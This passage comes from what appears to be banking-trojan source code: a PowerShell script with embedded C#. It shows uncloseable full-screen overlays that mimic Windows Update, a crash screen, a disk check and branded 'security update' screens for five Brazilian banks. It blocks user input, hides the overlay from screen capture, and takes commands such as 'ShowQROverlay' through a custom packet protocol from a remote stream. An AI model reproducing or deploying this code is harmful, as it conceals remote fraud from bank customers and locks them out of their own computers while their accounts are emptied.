pOffX + primary.Width / 2; int pCenterY = pOffY + primary.Height / 2; overlayForm = new Form(); overlayForm.FormBorderStyle = FormBorderStyle.None; overlayForm.StartPosition = FormStartPosition.Manual; overlayForm.Location = new Point(vs.X, vs.Y); overlayForm.Size = new Size(vs.Width, vs.Height); overlayForm.TopMost = true; overlayForm.ShowInTaskbar = false; overlayForm.BackColor = Color.FromArgb(0, 120, 215); Panel dotsPanel = new Panel(); Label lblMain = new Label(); Label lblPercent = new Label(); Label lblSub = new Label(); int progress = 0; double angle = 0; switch (currentMode) { case 1: // === WINDOWS UPDATE IDENTICO === overlayForm.BackColor = Color.FromArgb(0, 120, 215); // Painel para desenhar os pontos animados dotsPanel.Size = new Size(100, 100); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int centerX = dotsPanel.Width / 2; int centerY = dotsPanel.Height / 2; int radius = 35; int dotSize = 8; for (int i = 0; i < 5; i++) { double dotAngle = angle + (i * Math.PI * 2 / 5); int x = centerX + (int)(radius * Math.Cos(dotAngle)) - dotSize / 2; int y = centerY + (int)(radius * Math.Sin(dotAngle)) - dotSize / 2; int alpha = 255 - (i * 45); if (alpha < 50) alpha = 50; using (SolidBrush brush = new SolidBrush(Color.FromArgb(alpha, 255, 255, 255))) { e.Graphics.FillEllipse(brush, x, y, dotSize, dotSize); } } }; overlayForm.Controls.Add(dotsPanel); // Texto principal lblMain.Text = "Trabalhando nas atualizacoes"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 42); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); // Porcentagem lblPercent.Text = "0% concluido"; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Segoe UI", 24); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); // Subtexto lblSub.Text = "Nao desligue o computador"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 16); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 2: // Windows preparando overlayForm.BackColor = Color.FromArgb(0, 120, 215); dotsPanel.Size = new Size(100, 100); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int centerX = dotsPanel.Width / 2; int centerY = dotsPanel.Height / 2; int radius = 35; int dotSize = 8; for (int i = 0; i < 5; i++) { double dotAngle = angle + (i * Math.PI * 2 / 5); int x = centerX + (int)(radius * Math.Cos(dotAngle)) - dotSize / 2; int y = centerY + (int)(radius * Math.Sin(dotAngle)) - dotSize / 2; int alpha = 255 - (i * 45); if (alpha < 50) alpha = 50; using (SolidBrush brush = new SolidBrush(Color.FromArgb(alpha, 255, 255, 255))) { e.Graphics.FillEllipse(brush, x, y, dotSize, dotSize); } } }; overlayForm.Controls.Add(dotsPanel); lblMain.Text = "Preparando o Windows"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 42); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblSub.Text = "Nao desligue o computador"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 16); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 3: // Tela Azul BSOD overlayForm.BackColor = Color.FromArgb(0, 120, 215); lblMain.Text = ":("; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Segoe UI Light", 150); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblPercent.Text = "Seu PC teve um problema e precisa ser reiniciado.\nEstamos coletando algumas informacoes de erro\ne reiniciaremos para voce."; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Segoe UI", 20); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); lblSub.Text = "0% concluido"; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Segoe UI", 18); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 4: // Verificando disco overlayForm.BackColor = Color.Black; lblMain.Text = "Verificando e reparando a unidade (C:):"; lblMain.ForeColor = Color.White; lblMain.Font = new Font("Consolas", 18); lblMain.AutoSize = true; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); lblPercent.Text = "0% concluido."; lblPercent.ForeColor = Color.White; lblPercent.Font = new Font("Consolas", 18); lblPercent.AutoSize = true; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); lblSub.Text = "Isso pode levar mais de uma hora para ser concluido.\nNao desligue ou desconecte o computador."; lblSub.ForeColor = Color.White; lblSub.Font = new Font("Consolas", 14); lblSub.AutoSize = true; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); break; case 5: // Tela preta total overlayForm.BackColor = Color.Black; break; // ====================================================================== // MODOS DE BANCO - COR SOLIDA (apenas 5 primeiros) // ====================================================================== case 6: case 7: case 8: case 9: case 10: string bankName = ""; Color bankBg = Color.FromArgb(236, 112, 0); Color bankText = Color.White; Color bankAccent = Color.White; switch (currentMode) { case 6: bankName = "Itau"; bankBg = Color.FromArgb(236, 112, 0); bankText = Color.White; bankAccent = Color.White; break; case 7: bankName = "Bradesco"; bankBg = Color.FromArgb(204, 9, 47); bankText = Color.White; bankAccent = Color.White; break; case 8: bankName = "Santander"; bankBg = Color.FromArgb(236, 0, 0); bankText = Color.White; bankAccent = Color.White; break; case 9: bankName = "Banco do Brasil"; bankBg = Color.FromArgb(255, 237, 0); bankText = Color.FromArgb(0, 56, 130); bankAccent = Color.FromArgb(0, 56, 130); break; case 10: bankName = "Caixa Economica"; bankBg = Color.FromArgb(0, 102, 179); bankText = Color.White; bankAccent = Color.FromArgb(247, 144, 30); break; } // Fundo na cor solida do banco overlayForm.BackColor = bankBg; // Coordenadas relativas ao monitor primario dentro do VirtualScreen Rectangle priB = Screen.PrimaryScreen.Bounds; Rectangle vsB = SystemInformation.VirtualScreen; int offXB = priB.X - vsB.X; int offYB = priB.Y - vsB.Y; int scrW = priB.Width; int scrH = priB.Height; int midY = offYB + scrH / 2; int midXB = offXB + scrW / 2; // Spinner circular Color spinnerColor = bankAccent; dotsPanel.Size = new Size(70, 70); dotsPanel.Location = new Point(midXB - 35, midY - 200); dotsPanel.BackColor = Color.Transparent; dotsPanel.Paint += (sender, e) => { e.Graphics.SmoothingMode = System.Drawing.Drawing2D.SmoothingMode.AntiAlias; int cx = 35, cy = 35, radius = 28, thickness = 3; using (Pen bgPen = new Pen(Color.FromArgb(60, bankText), thickness)) { e.Graphics.DrawEllipse(bgPen, cx - radius, cy - radius, radius * 2, radius * 2); } using (Pen arcPen = new Pen(spinnerColor, thickness)) { arcPen.StartCap = System.Drawing.Drawing2D.LineCap.Round; arcPen.EndCap = System.Drawing.Drawing2D.LineCap.Round; float startAngle = (float)(angle * 180 / Math.PI); e.Graphics.DrawArc(arcPen, cx - radius, cy - radius, radius * 2, radius * 2, startAngle, 90); } }; overlayForm.Controls.Add(dotsPanel); // Nome do banco lblMain.Text = bankName; lblMain.ForeColor = bankText; lblMain.Font = new Font("Segoe UI", 42, FontStyle.Bold); lblMain.AutoSize = false; lblMain.Size = new Size(scrW, 70); lblMain.Location = new Point(offXB, midY - 100); lblMain.TextAlign = ContentAlignment.MiddleCenter; lblMain.BackColor = Color.Transparent; overlayForm.Controls.Add(lblMain); // Subtitulo lblPercent.Text = "Atualizacao de Seguranca"; lblPercent.ForeColor = Color.FromArgb(220, bankText); lblPercent.Font = new Font("Segoe UI", 16); lblPercent.AutoSize = false; lblPercent.Size = new Size(scrW, 35); lblPercent.Location = new Point(offXB, midY - 10); lblPercent.TextAlign = ContentAlignment.MiddleCenter; lblPercent.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPercent); // Barra de progresso (fundo) int barW = 450; Panel barBg6 = new Panel(); barBg6.Size = new Size(barW, 6); barBg6.Location = new Point(midXB - barW / 2, midY + 40); barBg6.BackColor = Color.FromArgb(80, bankText); overlayForm.Controls.Add(barBg6); // Barra de progresso (preenchimento) Panel barFill6 = new Panel(); barFill6.Size = new Size(0, 6); barFill6.Location = new Point(0, 0); barFill6.BackColor = bankText; barBg6.Controls.Add(barFill6); // Porcentagem Label lblPct6 = new Label(); lblPct6.Text = "0%"; lblPct6.ForeColor = bankText; lblPct6.Font = new Font("Segoe UI", 14, FontStyle.Bold); lblPct6.AutoSize = false; lblPct6.Size = new Size(scrW, 30); lblPct6.Location = new Point(offXB, midY + 55); lblPct6.TextAlign = ContentAlignment.MiddleCenter; lblPct6.BackColor = Color.Transparent; overlayForm.Controls.Add(lblPct6); // Mensagem rotativa lblSub.Text = "Conectando ao servidor seguro..."; lblSub.ForeColor = Color.FromArgb(180, bankText); lblSub.Font = new Font("Segoe UI", 10); lblSub.AutoSize = false; lblSub.Size = new Size(scrW, 25); lblSub.Location = new Point(offXB, midY + 95); lblSub.TextAlign = ContentAlignment.MiddleCenter; lblSub.BackColor = Color.Transparent; overlayForm.Controls.Add(lblSub); // Info do usuario/PC Label lblUser6 = new Label(); lblUser6.Text = Environment.UserName + " * " + Environment.MachineName; lblUser6.ForeColor = Color.FromArgb(120, bankText); lblUser6.Font = new Font("Segoe UI", 9); lblUser6.AutoSize = false; lblUser6.Size = new Size(scrW, 20); lblUser6.Location = new Point(0, midY + 130); lblUser6.TextAlign = ContentAlignment.MiddleCenter; lblUser6.BackColor = Color.Transparent; overlayForm.Controls.Add(lblUser6); // Mensagens rotativas string[] msgs6 = { "Conectando ao servidor seguro...", "Verificando certificados digitais...", "Baixando componentes de seguranca...", "Validando modulo de protecao...", "Atualizando configuracoes...", "Sincronizando dados...", "Verificando integridade do sistema...", "Aplicando atualizacoes de seguranca...", "Registrando componentes...", "Finalizando instalacao..." }; int msgIdx6 = 0; int prog6 = 0; int tick6 = 0; // Timer para animacao do progresso var timerBank = new System.Windows.Forms.Timer(); timerBank.Interval = 50; timerBank.Tick += (s, e) => { try { tick6++; angle -= 0.1; dotsPanel.Invalidate(); // Incrementar progresso devagar (a cada 40 ticks = 2 segundos) if (tick6 % 40 == 0 && prog6 < 99) { prog6++; int fillW = (int)((barW) * prog6 / 100.0); barFill6.Width = fillW; lblPct6.Text = prog6 + "%"; } // Mudar mensagem a cada 100 ticks = 5 segundos if (tick6 % 100 == 0) { msgIdx6 = (msgIdx6 + 1) % msgs6.Length; lblSub.Text = msgs6[msgIdx6]; } overlayForm.TopMost = true; SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } }; timerBank.Start(); break; case 11: case 12: case 13: case 14: case 15: // === MODOS ELABORADOS POR BANCO === // Paleta de cores por banco string bnkName = ""; Color bnkPrimary = Color.White; Color bnkSecondary = Color.White; Color bnkAccent = Color.White; Color bnkTopBar = Color.White; switch (currentMode) { case 11: bnkName = "Itau"; bnkPrimary = Color.FromArgb(236, 112, 0); bnkSecondary = Color.FromArgb(0, 54, 65); bnkAccent = Color.FromArgb(236, 112, 0); bnkTopBar = Color.FromArgb(0, 54, 65); break; case 12: bnkName = "Bradesco"; bnkPrimary = Color.FromArgb(204, 9, 47); bnkSecondary = Color.FromArgb(204, 9, 47); bnkAccent = Color.FromArgb(204, 9, 47); bnkTopBar = Color.FromArgb(204, 9, 47); break; case 13: bnkName = "Santander"; bnkPrimary = Color.FromArgb(236, 0, 0); bnkSecondary = Color.FromArgb(236, 0, 0); bnkAccent = Color.FromArgb(236, 0, 0); bnkTopBar = Color.FromArgb(236, 0, 0); break; case 14: bnkName = "Banco do Brasil"; bnkPrimary = Color.FromArgb(255, 237, 0); bnkSecondary = Color.FromArgb(0, 56, 130); bnkAccent = Color.FromArgb(0, 56, 130); bnkTopBar = Color.FromArgb(0, 56, 130); break; case 15: bnkName = "Caixa"; bnkPrimary = Color.FromArgb(0, 102, 179); bnkSecondary = Color.FromArgb(0, 102, 179); bnkAccent = Color.FromArgb(247, 144, 30); bnkTopBar = Color.FromArgb(0, 102, 179); break; } overlayForm.BackColor = Color.White; // Coordenadas relativas ao monitor primario Rectangle priE = Screen.PrimaryScreen.Bounds; Rectangle vsE = SystemInformation.VirtualScreen; int offXE = priE.X - vsE.X; int offYE = priE.Y - vsE.Y; int sw = priE.Width; int sh = priE.Height; // === TOPBAR === Panel topBarE = new Panel(); topBarE.Size = new Size(sw, 60); topBarE.Location = new Point(offXE, offYE); topBarE.BackColor = bnkTopBar; overlayForm.Controls.Add(topBarE); Label brandE = new Label(); brandE.Text = bnkName; brandE.Font = new Font("Segoe UI", 20, FontStyle.Bold); brandE.ForeColor = (currentMode == 14) ? bnkPrimary : Color.White; brandE.AutoSize = true; brandE.Location = new Point(25, 12); brandE.BackColor = Color.Transparent; topBarE.Controls.Add(brandE); Label secureE = new Label(); secureE.Text = " Ambiente Seguro "; secureE.Font = new Font("Segoe UI", 9); secureE.ForeColor = Color.White; secureE.BackColor = Color.FromArgb(10, 191, 131); secureE.AutoSize = true; secureE.Location = new Point(sw - 150, 18); topBarE.Controls.Add(secureE); // === NOTICE BAR === Panel noticeE = new Panel(); noticeE.Size = new Size(sw, 45); noticeE.Location = new Point(offXE, offYE + 60); noticeE.BackColor = bnkPrimary; overlayForm.Controls.Add(noticeE); Label noticeTxtE = new Label(); noticeTxtE.Text = "Ola " + Environment.UserName + ", o computador " + Environment.MachineName + " esta recebendo uma atualizacao de seguranca obrigatoria. NAO DESLIGUE O COMPUTADOR."; noticeTxtE.Font = new Font("Segoe UI", 9, FontStyle.Bold); noticeTxtE.ForeColor = (currentMode == 14) ? bnkSecondary : Color.White; noticeTxtE.AutoSize = false; noticeTxtE.Size = new Size(sw - 50, 35); noticeTxtE.Location = new Point(25, 5); noticeTxtE.BackColor = Color.Transparent; noticeE.Controls.Add(noticeTxtE); // === INFO TECNICA === Label versionE = new Label(); versionE.Text = "Modulo de Seguranca v2.8.3 -> v3.1.7 | SHA256: 7a3b9f2e8d..."; versionE.Font = new Font("Consolas", 8); versionE.ForeColor = Color.Gray; versionE.AutoSize = true; versionE.Location = new Point(offXE + 25, offYE + 112); versionE.BackColor = Color.Transparent; overlayForm.Controls.Add(versionE); // === STEPS === int cY = offYE + 140; int stH = 65; int mg = 30; int stW = sw - (mg * 2); Label[] titlesE = new Label[4]; Label[] pctsE = new Label[4]; Label[] descsE = new Label[4]; Label[] checksE = new Label[4]; Panel[] barBgsE = new Panel[4]; Panel[] barsE = new Panel[4]; Label[] numsE = new Label[4]; string[] tits = { "Verificando sistema operacional", "Download do modulo de seguranca", "Validando certificados digitais", "Aplicando atualizacao" }; string[][] descMsgs = { new string[] { "Identificando versao do Windows...", "Verificando arquitetura do sistema...", "Checando compatibilidade...", "Sistema: " + Environment.OSVersion.ToString() }, new string[] { "Conectando ao servidor seguro...", "Baixando pacote (0 KB / 47.832 KB)...", "Verificando integridade do arquivo...", "Descompactando modulo..." }, new string[] { "Validando certificado raiz...", "Checando cadeia de certificados...", "Verificando assinatura digital...", "Validando token de autenticacao..." }, new string[] { "Preparando instalacao...", "Atualizando componentes...", "Registrando DLLs...", "Finalizando configuracao..." } }; for (int i = 0; i < 4; i++) { Panel box = new Panel(); box.Size = new Size(stW, stH); box.Location = new Point(offXE + mg, cY + (i * (stH + 8))); box.BackColor = Color.FromArgb(250, 251, 253); box.BorderStyle = BorderStyle.FixedSingle; overlayForm.Controls.Add(box); Label nm = new Label(); nm.Text = (i + 1).ToString(); nm.Font = new Font("Segoe UI", 10, FontStyle.Bold); nm.ForeColor = Color.White; nm.BackColor = bnkAccent; nm.Size = new Size(26, 26); nm.Location = new Point(8, 6); nm.TextAlign = ContentAlignment.MiddleCenter; box.Controls.Add(nm); numsE[i] = nm; Label chk = new Label(); chk.Text = ""; chk.Font = new Font("Segoe UI", 12, FontStyle.Bold); chk.ForeColor = Color.FromArgb(10, 191, 131); chk.Size = new Size(26, 26); chk.Location = new Point(8, 6); chk.TextAlign = ContentAlignment.MiddleCenter; chk.BackColor = Color.Transparent; chk.Visible = false; box.Controls.Add(chk); checksE[i] = chk; Label tit = new Label(); tit.Text = tits[i]; tit.Font = new Font("Segoe UI", 9, FontStyle.Bold); tit.ForeColor = bnkSecondary; tit.AutoSize = true; tit.Location = new Point(42, 5); tit.BackColor = Color.Transparent; box.Controls.Add(tit); titlesE[i] = tit; Label pc = new Label(); pc.Text = "0%"; pc.Font = new Font("Segoe UI", 8); pc.ForeColor = Color.Gray; pc.Size = new Size(40, 18); pc.Location = new Point(stW - 55, 5); pc.TextAlign = ContentAlignment.MiddleRight; pc.BackColor = Color.Transparent; box.Controls.Add(pc); pctsE[i] = pc; Label ds = new Label(); ds.Text = descMsgs[i][0]; ds.Font = new Font("Segoe UI", 8); ds.ForeColor = Color.Gray; ds.AutoSize = false; ds.Size = new Size(stW - 100, 18); ds.Location = new Point(42, 24); ds.BackColor = Color.Transparent; box.Controls.Add(ds); descsE[i] = ds; Panel bg = new Panel(); bg.Size = new Size(stW - 55, 4); bg.Location = new Point(42, 48); bg.BackColor = Color.FromArgb(230, 233, 240); box.Controls.Add(bg); barBgsE[i] = bg; Panel br = new Panel(); br.Size = new Size(0, 4); br.Location = new Point(0, 0); br.BackColor = bnkAccent; bg.Controls.Add(br); barsE[i] = br; } // === BARRA PRINCIPAL === int mbY = cY + (4 * (stH + 8)) + 12; Panel mbBg = new Panel(); mbBg.Size = new Size(stW, 16); mbBg.Location = new Point(offXE + mg, mbY); mbBg.BackColor = Color.FromArgb(230, 233, 240); overlayForm.Controls.Add(mbBg); Panel mbFill = new Panel(); mbFill.Size = new Size(0, 16); mbFill.Location = new Point(0, 0); mbFill.BackColor = bnkAccent; mbBg.Controls.Add(mbFill); Label mbPct = new Label(); mbPct.Text = "0% concluido - Nao desligue o computador."; mbPct.Font = new Font("Segoe UI", 9); mbPct.ForeColor = bnkSecondary; mbPct.AutoSize = true; mbPct.Location = new Point(offXE + mg, mbY + 22); mbPct.BackColor = Color.Transparent; overlayForm.Controls.Add(mbPct); // === LOG AREA === Panel logPanel = new Panel(); logPanel.Size = new Size(stW, 80); logPanel.Location = new Point(offXE + mg, mbY + 50); logPanel.BackColor = Color.FromArgb(20, 20, 25); logPanel.BorderStyle = BorderStyle.FixedSingle; overlayForm.Controls.Add(logPanel); Label logTitle = new Label(); logTitle.Text = " LOG DO SISTEMA "; logTitle.Font = new Font("Consolas", 8); logTitle.ForeColor = Color.FromArgb(100, 255, 100); logTitle.AutoSize = true; logTitle.Location = new Point(5, 3); logTitle.BackColor = Color.Transparent; logPanel.Controls.Add(logTitle); Label logText = new Label(); logText.Text = "[" + DateTime.Now.ToString("HH:mm:ss") + "] Iniciando processo de atualizacao...\n[" + DateTime.Now.ToString("HH:mm:ss") + "] Conectando ao servidor " + bnkName.ToLower() + ".com.br..."; logText.Font = new Font("Consolas", 7); logText.ForeColor = Color.FromArgb(180, 180, 180); logText.AutoSize = false; logText.Size = new Size(stW - 15, 55); logText.Location = new Point(5, 20); logText.BackColor = Color.Transparent; logPanel.Controls.Add(logText); // === ANIMACAO === int[] progE = { 0, 0, 0, 0 }; int stepE = 0; int tickE = 0; string[] logMsgs = { "Verificando integridade dos arquivos...", "Conexao segura estabelecida (TLS 1.3)", "Certificado validado: CN=" + bnkName + " CA", "Download em andamento...", "Verificando assinatura digital...", "Componente atualizado: security.dll", "Registrando bibliotecas...", "Aplicando configuracoes de seguranca...", "Sincronizando com servidor central...", "Validando token de sessao..." }; var timerE = new System.Windows.Forms.Timer(); timerE.Interval = 35; timerE.Tick += (s, e) => { try { tickE++; // Atualizar step atual if (stepE < 4 && progE[stepE] < 100) { progE[stepE] += 1; int bw = (int)((barBgsE[stepE].Width) * progE[stepE] / 100.0); barsE[stepE].Width = bw; pctsE[stepE].Text = progE[stepE] + "%"; // Atualizar descricao baseado no progresso int msgIdx = (progE[stepE] / 26) % 4; descsE[stepE].Text = descMsgs[stepE][msgIdx]; // Download KB if (stepE == 1 && progE[1] > 10 && progE[1] < 90) { int kb = (int)(progE[1] * 478.32); descsE[1].Text = "Baixando pacote (" + kb + " KB / 47.832 KB)..."; } if (progE[stepE] >= 100) { barsE[stepE].BackColor = Color.FromArgb(10, 191, 131); numsE[stepE].Visible = false; checksE[stepE].Text = "OK"; checksE[stepE].Visible = true; descsE[stepE].Text = "Concluido com sucesso"; descsE[stepE].ForeColor = Color.FromArgb(10, 191, 131); if (stepE < 3) stepE++; else { progE[3] = 0; barsE[3].BackColor = bnkAccent; numsE[3].Visible = true; checksE[3].Visible = false; descsE[3].ForeColor = Color.Gray; } } } // Atualizar barra principal int tot = (progE[0] + progE[1] + progE[2] + progE[3]) / 4; mbFill.Width = (int)((mbBg.Width) * tot / 100.0); mbPct.Text = tot + "% concluido - Nao desligue o computador."; // Atualizar log a cada 60 ticks if (tickE % 60 == 0) { string newLog = "[" + DateTime.Now.ToString("HH:mm:ss") + "] " + logMsgs[(tickE / 60) % logMsgs.Length]; string[] lines = logText.Text.Split('\n'); if (lines.Length > 2) logText.Text = lines[1] + "\n" + lines[2] + "\n" + newLog; else logText.Text = logText.Text + "\n" + newLog; } overlayForm.TopMost = true; SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } }; timerE.Start(); break; } overlayForm.Load += (s, e) => { // Posicionar elementos no MONITOR PRIMARIO Rectangle pri = Screen.PrimaryScreen.Bounds; Rectangle vsc = SystemInformation.VirtualScreen; int offX = pri.X - vsc.X; int offY = pri.Y - vsc.Y; int cX = offX + pri.Width / 2; int cY = offY + pri.Height / 2; if (currentMode == 1) { dotsPanel.Left = cX - dotsPanel.Width / 2; dotsPanel.Top = cY - 150; lblMain.Left = cX - lblMain.Width / 2; lblMain.Top = cY - 30; lblPercent.Left = cX - lblPercent.Width / 2; lblPercent.Top = cY + 60; lblSub.Left = cX - lblSub.Width / 2; lblSub.Top = cY + 120; } else if (currentMode == 2) { dotsPanel.Left = cX - dotsPanel.Width / 2; dotsPanel.Top = cY - 120; lblMain.Left = cX - lblMain.Width / 2; lblMain.Top = cY; lblSub.Left = cX - lblSub.Width / 2; lblSub.Top = cY + 80; } else if (currentMode == 3) { lblMain.Left = offX + pri.Width / 6; lblMain.Top = cY - 200; lblPercent.Left = offX + pri.Width / 6; lblPercent.Top = cY - 20; lblSub.Left = offX + pri.Width / 6; lblSub.Top = cY + 120; } else if (currentMode == 4) { lblMain.Left = offX + 50; lblMain.Top = cY - 50; lblPercent.Left = offX + 50; lblPercent.Top = cY; lblSub.Left = offX + 50; lblSub.Top = cY + 80; } // Modos 6-24 ja tem posicao fixa definida no switch try { SetWindowDisplayAffinity(overlayForm.Handle, 0x11); } catch { } try { SetWindowLong(overlayForm.Handle, -20, GetWindowLong(overlayForm.Handle, -20) | 0x80000 | 0x20 | 0x80); } catch { } try { SetWindowPos(overlayForm.Handle, HWND_TOPMOST, 0, 0, 0, 0, 0x43); } catch { } }; overlayForm.FormClosing += (s, e) => { if (!shouldClose) e.Cancel = true; }; // Timer para animacao var timer = new System.Windows.Forms.Timer(); timer.Interval = 50; int tickCount = 0; // 720 ticks = 36 segundos = 1% (total ~1 hora para 99%) int ticksPerPercent = 720; timer.Tick += (s, e) => { try { tickCount++; angle -= 0.1; if (currentMode == 1 || currentMode == 2 || (currentMode >= 6 && currentMode <= 10)) { dotsPanel.Invalidate(); } // Incrementar % muito devagar (1% a cada ~36 segundos) Rectangle pri = Screen.PrimaryScreen.Bounds; Rectangle vsc = SystemInformation.VirtualScreen; int cX = (pri.X - vsc.X) + pri.Width / 2; if (currentMode == 1) { if (progress < 99 && tickCount % ticksPerPercent == 0) progress++; lblPercent.Text = progress + "% concluido"; lblPercent.Left = cX - lblPercent.Width / 2; } else if (currentMode == 3) { if (progress < 99 && tickCount % (ticksPerPercent / 2) == 0) progress++; lblSub.Text = progress + "% concluido"; } else if (currentMode == 4) { if (progress < 99 && tickCount % ticksPerPercent == 0) progress++; lblPercent.Text = progress + "% concluido."; } overlayForm.TopMost = true; ForceToFront(overlayForm.Handle); } catch { } }; timer.Start(); // Forcar para frente quando form aparecer overlayForm.Shown += (s, ev) => { try { ForceToFront(overlayForm.Handle); } catch { } }; Application.Run(overlayForm); } catch { } finally { isActive = false; overlayForm = null; } }); formThread.SetApartmentState(ApartmentState.STA); formThread.IsBackground = true; formThread.Start(); Thread.Sleep(30); } public static void Hide() { shouldClose = true; isActive = false; if (overlayForm != null) { try { if (overlayForm.InvokeRequired) { overlayForm.BeginInvoke((MethodInvoker)delegate { try { Application.ExitThread(); overlayForm.Close(); } catch { } }); } else { Application.ExitThread(); overlayForm.Close(); } } catch { } } if (formThread != null) { try { formThread.Join(1000); } catch { } } overlayForm = null; formThread = null; } } "@ Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName System.Drawing try { Add-Type -TypeDefinition $NativeCode -ReferencedAssemblies System.Windows.Forms,System.Drawing -ErrorAction Stop Write-DebugLog "[OK] NativeInput + DisplayOverlay loaded" } catch { Write-DebugLog "[ERRO] NativeCode Add-Type FALHOU: $_" Write-Host "[ERRO] NativeCode: $_" -ForegroundColor Red } # === VERIFICACAO AUTOMATICA DE CLASSES === $classesOK = $true @('NativeInput', 'DisplayOverlay') | ForEach-Object { try { $t = [System.Type]::GetType($_, $false) if (-not $t) { $t = $_ -as [Type] } if ($t) { Write-DebugLog "[CHECK] Classe $_ = OK" Write-Host "[CHECK] $_ = OK" -ForegroundColor Green } else { Write-DebugLog "[CHECK] Classe $_ = NAO ENCONTRADA" Write-Host "[CHECK] $_ = NAO ENCONTRADA" -ForegroundColor Red $classesOK = $false } } catch { Write-DebugLog "[CHECK] Classe $_ = ERRO: $($_.Exception.Message)" Write-Host "[CHECK] $_ = ERRO" -ForegroundColor Red $classesOK = $false } } if (-not $classesOK) { Write-DebugLog "[WARN] Tentando recarregar NativeCode..." Write-Host "[WARN] Tentando recarregar NativeCode..." -ForegroundColor Yellow try { Add-Type -TypeDefinition $NativeCode -ReferencedAssemblies System.Windows.Forms,System.Drawing -ErrorAction Stop Write-DebugLog "[OK] Reload OK" } catch { Write-DebugLog "[ERRO] Reload falhou: $_" } } $script:OverlayActive = $false $script:InputPaused = $false function Start-DisplayOverlay { param([int]$Mode = 1) try { Write-DebugLog "[OVERLAY] Show Mode=$Mode" [DisplayOverlay]::Show($Mode) $script:OverlayActive = $true $script:CurrentOverlayMode = $Mode Write-DebugLog "[OVERLAY] Show OK" } catch { $script:OverlayActive = $false Write-DebugLog "[OVERLAY] ERRO: $_" Write-Host "[OVERLAY ERRO] $_" -ForegroundColor Red } } function Stop-DisplayOverlay { try { Write-DebugLog "[OVERLAY] Hide" [DisplayOverlay]::Hide() Write-DebugLog "[OVERLAY] Hide OK" } catch { Write-DebugLog "[OVERLAY] Hide ERRO: $_" } $script:OverlayActive = $false $script:CurrentOverlayMode = 0 } function Start-InputPause { try { Write-DebugLog "[INPUT] Block" [NativeInput]::Block() $script:InputPaused = $true Write-DebugLog "[INPUT] Block OK" } catch { $script:InputPaused = $false Write-DebugLog "[INPUT] Block ERRO: $_" Write-Host "[INPUT ERRO] $_" -ForegroundColor Red } } function Stop-InputPause { try { [NativeInput]::Unblock() Write-DebugLog "[INPUT] Unblock OK" } catch { Write-DebugLog "[INPUT] Unblock ERRO: $_" } $script:InputPaused = $false } function Read-Packet { param($Stream, [switch]$Wait) try { # Se Wait, aguardar dados chegarem if ($Wait) { $timeout = [DateTime]::Now.AddSeconds(5) while (-not $Stream.DataAvailable -and [DateTime]::Now -lt $timeout) { Start-Sleep -Milliseconds 10 } if (-not $Stream.DataAvailable) { return $null } } # Ler header completo (9 bytes) - reusar buffer if (-not $script:_pktHeaderBuf) { $script:_pktHeaderBuf = New-Object byte[] 9 } $hdr = $script:_pktHeaderBuf $hdrRead = 0 $timeout = [DateTime]::Now.AddSeconds(5) while ($hdrRead -lt 9) { if ([DateTime]::Now -gt $timeout) { return $null } try { $r = $Stream.Read($hdr, $hdrRead, 9 - $hdrRead) if ($r -gt 0) { $hdrRead += $r } elseif ($r -eq 0) { return $null } # conexao fechada pelo servidor } catch { if (-not $Stream.DataAvailable) { Start-Sleep -Milliseconds 5 } } } # Verificar magic $magic = [byte[]](0x4C, 0x51, 0x57, 0x50) if (($hdr[0] -ne $magic[0]) -or ($hdr[1] -ne $magic[1]) -or ($hdr[2] -ne $magic[2]) -or ($hdr[3] -ne $magic[3])) { return $null } $type = $hdr[4] $len = [BitConverter]::ToInt32($hdr, 5) # Log para pacotes ShowQROverlay if ($type -eq 0x66) { Write-Host "[PACKET] Receiving ShowQROverlay: $len bytes" -ForegroundColor Magenta } $data = @() if ($len -gt 0 -and $len -lt 10000000) { $data = New-Object byte[] $len $total = 0 $timeout = [DateTime]::Now.AddSeconds(30) while ($total -lt $len) { if ([DateTime]::Now -gt $timeout) { Write-Host "[READ] Timeout: $total/$len bytes" -ForegroundColor Red return $null } try { $toRead = [Math]::Min(65536, $len - $total) $chunk = $Stream.Read($data, $total, $toRead) if ($chunk -gt 0) { $total += $chunk } elseif ($chunk -eq 0) { return $null } # conexao fechada pelo servidor } catch { Start-Sleep -Milliseconds 5 } } if ($type -eq 0x66) { Write-Host "[PACKET] [OK] ShowQROverlay received: $total bytes" -ForegroundColor Green } } return @{ Type = $type; Length = $len; Data = $data } } catch { return $null } } # =============================================================================== # FUNCOES AUXILIARES DE VERIFICACAO # =============================================================================== # Funcao para verificar se e Admin function Test-IsAdmin { try { 